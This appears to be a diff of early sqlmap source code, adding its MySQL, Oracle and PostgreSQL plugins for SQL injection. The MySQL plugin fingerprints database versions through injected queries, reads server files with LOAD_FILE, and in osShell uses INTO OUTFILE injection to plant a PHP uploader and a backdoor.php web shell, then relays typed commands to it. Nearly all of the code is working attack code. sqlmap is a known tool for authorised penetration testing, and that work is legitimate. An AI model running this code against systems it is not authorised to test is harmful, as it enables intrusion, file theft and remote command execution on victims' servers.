||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
#from lib.utils.fuzzer import passiveFuzzing
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
"""
|
||||
This class defines MySQL methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.has_information_schema = False
|
||||
Enumeration.__init__(self, "MySQL")
|
||||
|
||||
unescaper.setUnescape(MySQLMap.unescape)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression):
|
||||
while True:
|
||||
index = expression.find("'")
|
||||
if index == -1:
|
||||
break
|
||||
|
||||
firstIndex = index + 1
|
||||
index = expression[firstIndex:].find("'")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
||||
|
||||
lastIndex = firstIndex + index
|
||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||
unescaped = ""
|
||||
|
||||
for i in range(firstIndex, lastIndex):
|
||||
unescaped += "%d" % (ord(expression[i]))
|
||||
if i < lastIndex - 1:
|
||||
unescaped += ","
|
||||
|
||||
expression = expression.replace(old, "CHAR(%s)" % unescaped)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
while True:
|
||||
index = expression.find("CHAR(")
|
||||
if index == -1:
|
||||
break
|
||||
|
||||
firstIndex = index
|
||||
index = expression[firstIndex:].find(")")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
||||
|
||||
lastIndex = firstIndex + index + 1
|
||||
old = expression[firstIndex:lastIndex]
|
||||
oldUpper = old.upper()
|
||||
oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
|
||||
oldUpper = oldUpper.split(",")
|
||||
|
||||
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
||||
expression = expression.replace(old, escaped)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def __commentCheck(self):
|
||||
logMsg = "executing MySQL comment injection fingerprint"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = agent.prefixQuery("/* NoValue */")
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result != kb.defaultResult:
|
||||
warnMsg = "unable to perform MySQL comment injection"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
# MySQL valid versions updated at 07/2008
|
||||
versions = (
|
||||
(32200, 32233), # MySQL 3.22
|
||||
(32300, 32354), # MySQL 3.23
|
||||
(40000, 40024), # MySQL 4.0
|
||||
(40100, 40122), # MySQL 4.1
|
||||
(50000, 50067), # MySQL 5.0
|
||||
(50100, 50126), # MySQL 5.1
|
||||
(60000, 60006), # MySQL 6.0
|
||||
)
|
||||
|
||||
for element in versions:
|
||||
prevVer = None
|
||||
|
||||
for version in range(element[0], element[1] + 1):
|
||||
randInt = randomInt()
|
||||
version = str(version)
|
||||
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
if version[0] == "3":
|
||||
midVer = prevVer[1:3]
|
||||
else:
|
||||
midVer = prevVer[2]
|
||||
|
||||
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
|
||||
|
||||
return trueVer
|
||||
|
||||
prevVer = version
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
actVer = formatFingerprint()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return actVer
|
||||
|
||||
blank = " " * 16
|
||||
value = "active fingerprint: %s" % actVer
|
||||
comVer = self.__commentCheck()
|
||||
|
||||
if comVer:
|
||||
comVer = formatFingerprint([comVer])
|
||||
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
||||
|
||||
if self.banner:
|
||||
banVer = re.search("^([\d\.]+)", self.banner)
|
||||
banVer = banVer.groups()[0]
|
||||
if re.search("-log$", self.banner):
|
||||
banVer += ", logging enabled"
|
||||
banVer = formatFingerprint([banVer])
|
||||
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
#passiveFuzzing()
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
|
||||
if htmlParsed:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||
setDbms("MySQL %s" % kb.dbmsVersion[0])
|
||||
|
||||
if int(kb.dbmsVersion[0]) >= 5:
|
||||
self.has_information_schema = True
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
logMsg = "testing MySQL"
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
query = "CONCAT('%s', '%s')" % (randInt, randInt)
|
||||
|
||||
if inject.getValue(query) == (randInt * 2):
|
||||
logMsg = "confirming MySQL"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = "LENGTH('%s')" % randInt
|
||||
|
||||
if not inject.getValue(query) == "1":
|
||||
warnMsg = "the back-end DMBS is not MySQL"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
query = "SELECT %s " % randInt
|
||||
query += "FROM information_schema.TABLES "
|
||||
query += "LIMIT 0, 1"
|
||||
|
||||
if inject.getValue(query) == randInt:
|
||||
setDbms("MySQL 5")
|
||||
self.has_information_schema = True
|
||||
|
||||
if not conf.extensiveFp:
|
||||
kb.dbmsVersion = [">= 5.0.0"]
|
||||
return True
|
||||
|
||||
self.currentDb = inject.getValue("DATABASE()")
|
||||
if self.currentDb == inject.getValue("SCHEMA()"):
|
||||
kb.dbmsVersion = [">= 5.0.2", "< 5.1"]
|
||||
|
||||
query = "SELECT %s " % randInt
|
||||
query += "FROM information_schema.PARTITIONS "
|
||||
query += "LIMIT 0, 1"
|
||||
|
||||
if inject.getValue(query) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1"]
|
||||
else:
|
||||
kb.dbmsVersion = ["= 5.0.0 or 5.0.1"]
|
||||
else:
|
||||
setDbms("MySQL 4")
|
||||
kb.dbmsVersion = ["< 5.0.0"]
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
coercibility = inject.getValue("COERCIBILITY(USER())")
|
||||
if coercibility == "3":
|
||||
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
|
||||
elif coercibility == "2":
|
||||
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
|
||||
elif inject.getValue("CURRENT_USER()"):
|
||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
|
||||
|
||||
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
|
||||
kb.dbmsVersion = ["= 4.1.0"]
|
||||
else:
|
||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
|
||||
elif inject.getValue("FOUND_ROWS()") == "0":
|
||||
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
|
||||
elif inject.getValue("CONNECTION_ID()"):
|
||||
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
|
||||
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
|
||||
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
|
||||
else:
|
||||
kb.dbmsVersion = ["< 3.22.11"]
|
||||
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue("VERSION()")
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DMBS is not MySQL"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def readFile(self, rFile):
|
||||
logMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(logMsg)
|
||||
|
||||
return inject.getValue("LOAD_FILE('%s')" % rFile)
|
||||
|
||||
|
||||
def osShell(self):
|
||||
"""
|
||||
This method is used to write a PHP agent (cmd.php) on a writable
|
||||
remote directory within the web server document root.
|
||||
Such agent is written using the INTO OUTFILE MySQL DBMS
|
||||
functionality
|
||||
|
||||
@todo: * Add a web application crawling functionality to detect
|
||||
all (at least most) web server directories and merge with
|
||||
Google results if the target host is a publicly available
|
||||
hostname or IP address;
|
||||
* Extend to all DBMS using their functionalities (UDF, stored
|
||||
procedures, etc) to write files on the system or directly
|
||||
execute commands on the system without passing by the agent;
|
||||
* Automatically detect the web server available interpreters
|
||||
parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
|
||||
response headers;
|
||||
* Extend the agent to other interpreters rather than only PHP:
|
||||
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
|
||||
"""
|
||||
|
||||
logMsg = "retrieving web application directories"
|
||||
logger.info(logMsg)
|
||||
|
||||
directories = getDirectories()
|
||||
|
||||
if directories:
|
||||
logMsg = "retrieved web server directories "
|
||||
logMsg += "'%s'" % ", ".join(d for d in directories)
|
||||
logger.info(logMsg)
|
||||
|
||||
message = "in addition you can provide a list of directories "
|
||||
message += "absolute path comma separated that you want sqlmap "
|
||||
message += "to try to upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
else:
|
||||
message = "please provide the web server document root [/var/www]: "
|
||||
inputDocRoot = readInput(message, default="/var/www")
|
||||
|
||||
if inputDocRoot:
|
||||
kb.docRoot = inputDocRoot
|
||||
else:
|
||||
kb.docRoot = "/var/www"
|
||||
|
||||
message = "please provide a list of directories absolute path "
|
||||
message += "comma separated that you want sqlmap to try to "
|
||||
message += "upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
|
||||
if inputDirs:
|
||||
inputDirs = inputDirs.replace(", ", ",")
|
||||
inputDirs = inputDirs.split(",")
|
||||
|
||||
for inputDir in inputDirs:
|
||||
directories.add(inputDir)
|
||||
else:
|
||||
directories.add("/var/www/test")
|
||||
|
||||
logMsg = "trying to upload the uploader agent"
|
||||
logger.info(logMsg)
|
||||
|
||||
directories = list(directories)
|
||||
directories.sort()
|
||||
uploaded = False
|
||||
|
||||
backdoorName = "backdoor.php"
|
||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||
uploaderName = "uploader.php"
|
||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||
|
||||
for directory in directories:
|
||||
if uploaded:
|
||||
break
|
||||
|
||||
# Upload the uploader agent
|
||||
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
||||
|
||||
query = agent.prefixQuery(query)
|
||||
query = agent.postfixQuery(query)
|
||||
|
||||
payload = agent.payload(newValue=query)
|
||||
page = Request.queryPage(payload)
|
||||
|
||||
if kb.docRoot:
|
||||
requestDir = directory.replace(kb.docRoot, "")
|
||||
else:
|
||||
requestDir = directory
|
||||
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page = Request.getPage(url=uploaderUrl, direct=True)
|
||||
|
||||
if "sqlmap backdoor uploader" not in page:
|
||||
warnMsg = "unable to upload the uploader "
|
||||
warnMsg += "agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
logMsg = "the uploader agent has been successfully uploaded "
|
||||
logMsg += "on '%s'" % directory
|
||||
logger.info(logMsg)
|
||||
|
||||
# Upload the backdoor through the uploader agent
|
||||
multipartParams = {
|
||||
"upload": "1",
|
||||
"file": open(backdoorPath, "r"),
|
||||
"uploadDir": directory,
|
||||
}
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
||||
|
||||
if "Backdoor uploaded" not in page:
|
||||
warnMsg = "unable to upload the backdoor through "
|
||||
warnMsg += "the uploader agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
uploaded = True
|
||||
|
||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||
logMsg = "the backdoor has been successfully uploaded on "
|
||||
logMsg += "'%s', go with your browser to " % directory
|
||||
logMsg += "'%s' and enjoy it!" % backdoorUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
message = "do you want to use the uploaded backdoor as a "
|
||||
message += "shell to execute commands right now? [Y/n] "
|
||||
shell = readInput(message, default="Y")
|
||||
|
||||
if shell in ("n", "N"):
|
||||
continue
|
||||
|
||||
logMsg = "calling OS shell. To quit type "
|
||||
logMsg += "'x' or 'q' and press ENTER"
|
||||
logger.info(logMsg)
|
||||
|
||||
autoCompletion(osShell=True)
|
||||
|
||||
while True:
|
||||
command = None
|
||||
|
||||
try:
|
||||
command = raw_input("$ ")
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
errMsg = "user aborted"
|
||||
logger.error(errMsg)
|
||||
except EOFError:
|
||||
print
|
||||
errMsg = "exit"
|
||||
logger.error(errMsg)
|
||||
break
|
||||
|
||||
if not command:
|
||||
continue
|
||||
|
||||
if command.lower() in ( "x", "q", "exit", "quit" ):
|
||||
break
|
||||
|
||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
|
||||
page = Request.getPage(url=cmdUrl, direct=True)
|
||||
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
||||
|
||||
if output:
|
||||
print output.group(1)
|
||||
else:
|
||||
print "No output"
|
196
plugins/dbms/oracle.py
Normal file
196
plugins/dbms/oracle.py
Normal file
|
@ -0,0 +1,196 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: oracle.py 286 2008-07-25 23:09:48Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
#from lib.utils.fuzzer import passiveFuzzing
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
"""
|
||||
This class defines Oracle methods
|
||||
"""
|
||||
|
||||
|
||||
def __init__(self):
|
||||
Enumeration.__init__(self, "Oracle")
|
||||
|
||||
unescaper.setUnescape(OracleMap.unescape)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression):
|
||||
while True:
|
||||
index = expression.find("'")
|
||||
if index == -1:
|
||||
break
|
||||
|
||||
firstIndex = index + 1
|
||||
index = expression[firstIndex:].find("'")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
||||
|
||||
lastIndex = firstIndex + index
|
||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||
#unescaped = ""
|
||||
unescaped = "("
|
||||
|
||||
for i in range(firstIndex, lastIndex):
|
||||
unescaped += "CHR(%d)" % (ord(expression[i]))
|
||||
if i < lastIndex - 1:
|
||||
unescaped += "||"
|
||||
|
||||
unescaped += ")"
|
||||
expression = expression.replace(old, unescaped)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
while True:
|
||||
index = expression.find("CHR(")
|
||||
if index == -1:
|
||||
break
|
||||
|
||||
firstIndex = index
|
||||
index = expression[firstIndex:].find("))")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
||||
|
||||
lastIndex = firstIndex + index + 1
|
||||
old = expression[firstIndex:lastIndex]
|
||||
oldUpper = old.upper()
|
||||
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
|
||||
oldUpper = oldUpper.split("||")
|
||||
|
||||
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
||||
expression = expression.replace(old, escaped)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
if not conf.extensiveFp:
|
||||
return "Oracle"
|
||||
|
||||
actVer = formatFingerprint()
|
||||
|
||||
blank = " " * 16
|
||||
value = "active fingerprint: %s" % actVer
|
||||
|
||||
if self.banner:
|
||||
banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner)
|
||||
|
||||
if banVer:
|
||||
banVer = banVer.groups()[0]
|
||||
banVer = formatFingerprint([banVer])
|
||||
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
#passiveFuzzing()
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
|
||||
if htmlParsed:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
if conf.dbms in ORACLE_ALIASES:
|
||||
setDbms("Oracle")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
logMsg = "testing Oracle"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = "LENGTH(SYSDATE)"
|
||||
sysdate = inject.getValue(query)
|
||||
|
||||
if sysdate and int(sysdate) > 0:
|
||||
logMsg = "confirming Oracle"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
||||
version = inject.getValue(query)
|
||||
|
||||
if not version:
|
||||
warnMsg = "the back-end DMBS is not Oracle"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms("Oracle")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
if re.search("^11\.", version):
|
||||
kb.dbmsVersion = ["11i"]
|
||||
elif re.search("^10\.", version):
|
||||
kb.dbmsVersion = ["10g"]
|
||||
elif re.search("^9\.", version):
|
||||
kb.dbmsVersion = ["9i"]
|
||||
elif re.search("^8\.", version):
|
||||
kb.dbmsVersion = ["8i"]
|
||||
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1")
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DMBS is not Oracle"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def getDbs(self):
|
||||
warnMsg = "this plugin can not enumerate databases"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
202
plugins/dbms/postgresql.py
Normal file
202
plugins/dbms/postgresql.py
Normal file
|
@ -0,0 +1,202 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: postgresql.py 286 2008-07-25 23:09:48Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
#from lib.utils.fuzzer import passiveFuzzing
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
"""
|
||||
This class defines PostgreSQL methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
Enumeration.__init__(self, "PostgreSQL")
|
||||
|
||||
unescaper.setUnescape(PostgreSQLMap.unescape)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression):
|
||||
while True:
|
||||
index = expression.find("'")
|
||||
if index == -1:
|
||||
break
|
||||
|
||||
firstIndex = index + 1
|
||||
index = expression[firstIndex:].find("'")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
||||
|
||||
lastIndex = firstIndex + index
|
||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||
unescaped = "("
|
||||
|
||||
for i in range(firstIndex, lastIndex):
|
||||
unescaped += "CHR(%d)" % (ord(expression[i]))
|
||||
if i < lastIndex - 1:
|
||||
unescaped += "||"
|
||||
|
||||
unescaped += ")"
|
||||
expression = expression.replace(old, unescaped)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
while True:
|
||||
index = expression.find("CHR(")
|
||||
if index == -1:
|
||||
break
|
||||
|
||||
firstIndex = index
|
||||
index = expression[firstIndex:].find("))")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
||||
|
||||
lastIndex = firstIndex + index + 1
|
||||
old = expression[firstIndex:lastIndex]
|
||||
oldUpper = old.upper()
|
||||
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
|
||||
oldUpper = oldUpper.split("||")
|
||||
|
||||
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
||||
expression = expression.replace(old, escaped)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
if not conf.extensiveFp:
|
||||
return "PostgreSQL"
|
||||
|
||||
actVer = formatFingerprint()
|
||||
|
||||
blank = " " * 16
|
||||
value = "active fingerprint: %s" % actVer
|
||||
|
||||
if self.banner:
|
||||
banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner)
|
||||
banVer = banVer.groups()[0]
|
||||
banVer = formatFingerprint([banVer])
|
||||
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
#passiveFuzzing()
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
|
||||
if htmlParsed:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
if conf.dbms in PGSQL_ALIASES:
|
||||
setDbms("PostgreSQL")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
logMsg = "testing PostgreSQL"
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
query = "COALESCE(%s, NULL)" % randInt
|
||||
|
||||
if inject.getValue(query) == randInt:
|
||||
logMsg = "confirming PostgreSQL"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = "LENGTH('%s')" % randInt
|
||||
|
||||
if not inject.getValue(query) == "1":
|
||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms("PostgreSQL")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
if inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") == "2":
|
||||
kb.dbmsVersion = [">= 8.2.0"]
|
||||
elif inject.getValue("GREATEST(5, 9, 1)") == "9":
|
||||
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
|
||||
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3":
|
||||
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
|
||||
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"):
|
||||
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
|
||||
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p":
|
||||
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
|
||||
elif inject.getValue("BIT_LENGTH(1)") == "8":
|
||||
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
|
||||
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a":
|
||||
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
|
||||
elif inject.getValue("POW(2, 3)") == "8":
|
||||
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
|
||||
elif inject.getValue("MAX('a')") == "a":
|
||||
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
|
||||
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)")):
|
||||
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
|
||||
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2":
|
||||
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
|
||||
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)") == "s":
|
||||
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
|
||||
else:
|
||||
kb.dbmsVersion = ["< 6.2.0"]
|
||||
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue("VERSION()")
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
25
plugins/generic/__init__.py
Normal file
25
plugins/generic/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
1077
plugins/generic/enumeration.py
Normal file
1077
plugins/generic/enumeration.py
Normal file
File diff suppressed because it is too large
Load Diff
42
plugins/generic/filesystem.py
Normal file
42
plugins/generic/filesystem.py
Normal file
|
@ -0,0 +1,42 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: filesystem.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
